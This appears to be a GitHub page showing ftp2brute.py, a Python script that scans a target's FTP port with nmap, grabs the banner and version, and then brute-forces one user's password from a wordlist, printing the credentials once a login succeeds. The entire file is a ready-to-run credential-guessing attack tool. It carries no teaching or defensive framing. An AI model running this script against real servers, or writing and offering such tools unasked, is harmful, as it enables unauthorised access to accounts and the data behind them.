-
Notifications
You must be signed in to change notification settings - Fork 3
/
ftp2brute.py
49 lines (44 loc) · 1.37 KB
/
ftp2brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3
import socket
import ftplib
import sys
import nmap
def usage():
print ("Usage: " + sys.argv[0] + " <target> <user> <wordlist>")
print ("Example: %s 192.168.1.1 admin wordlist.txt" %sys.argv[0])
def openTheFtp(data, ftp):
print (data.strip())
ftp.login(str(sys.argv[2]), data.strip())
ftp.quit()
print ("[!] Creds found: \nUser: {} \nPass: {}".format(str(sys.argv[2]), data.strip()))
sys.exit(0)
def main():
nm = nmap.PortScanner()
ip = socket.gethostbyname(str(sys.argv[1]))
port = '21'
arguments = '-sT -sV'
service = nm.scan(ip, port, arguments)
with open (str(sys.argv[3])) as file:
words = file.readlines()
try:
ftp = ftplib.FTP(str(ip))
print ("[+] Software Version: " + service['scan'][ip]['tcp'][21]['product'])
print ("[+] Banner: " + ftp.getwelcome())
print ("[+] User: {}".format(str(sys.argv[2])))
print ("[+] Bruteforcing")
for word in words:
try:
openTheFtp(word, ftp)
except ftplib.error_perm:
pass
except:
raise
except:
raise
if __name__ == "__main__":
# Usagee: python ftp2brute.py <host> <user> <wordlist>
if len(sys.argv) == 4:
main()
else:
usage()
sys.exit()